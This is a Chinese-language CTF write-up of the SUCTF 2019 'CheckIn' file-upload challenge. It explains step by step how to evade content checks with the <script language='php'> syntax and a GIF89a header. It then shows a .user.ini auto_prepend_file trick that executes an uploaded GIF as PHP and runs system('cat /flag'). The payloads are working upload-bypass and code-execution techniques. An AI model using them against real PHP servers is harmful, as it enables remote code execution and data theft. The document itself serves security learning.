CheckIn
suctf 2019的web1
buuoj上的环境:https://buuoj.cn/challenges#[SUCTF%202019]CheckIn
一个文件上传,有几个限制:
- 文件内容不能出现<?,这个可以用老版本的php写法绕过
1
2
3<script language="php">
phpinfo();
</script> - 使用了exif_imagetype来判断上传的是不是图片,添加文件头GIF89a可以绕过
1
2
3
4GIF89a
<script language="php">
phpinfo();
</script> - 对上传的文件后缀名有限制,一开始觉得是一个黑名单,用 https://github.com/c0ny1/upload-fuzz-dic-builder 生成的字典去fuzz,发现限制的很死,各种php的后缀都不行
.htaccess也传不了,就算传上去了也没用,因为用的是nginx而不是apache
这个时候想了些其他的思路:
- 上传的目录下除了上传的文件外,有一个什么都没有的index.php,应该要利用到
- 爆破目录,发现确实没有其他页面,没有办法去配合文件包含
- 尝试去思考文件上传的代码到底是怎么写的,后缀名的限制究竟是怎么做的,发现后缀名只要有ph就会被过滤
- 不知道怎么绕过这个限制,没办法只能尝试去搜索更多的姿势,在google上搜索
过滤ph ctf
找到了MIMIC Defense CTF 2019 final writeup(https://www.anquanke.com/post/id/179598) ,里面也有一个后缀中对ph的过滤,文中提到
按照常规思路来说,我们一般会选择上传.htaccess和.user.ini,但很神奇的是,.htaccess因为 apache 有设置无法访问,不知道是不是写进去了。.user.ini成功写入了。但是两种方式都没生效。
去看了下.user.ini(http://www.vuln.cn/6001?tdsourcetag=s_pctim_aiomsg)
发现正好可以配合那个空的index.php使用
- 上传一个.user.ini这样在上传目录下访问任何php文件时,都会先加载01.gif中的php代码
1
2GIF89a
auto_prepend_file=01.gif - 然后再上传一个01.gif
1
2
3
4GIF89a
<script language="php">
system("cat /flag");
</script> - 最后访问上传目录下的index.php拿到flag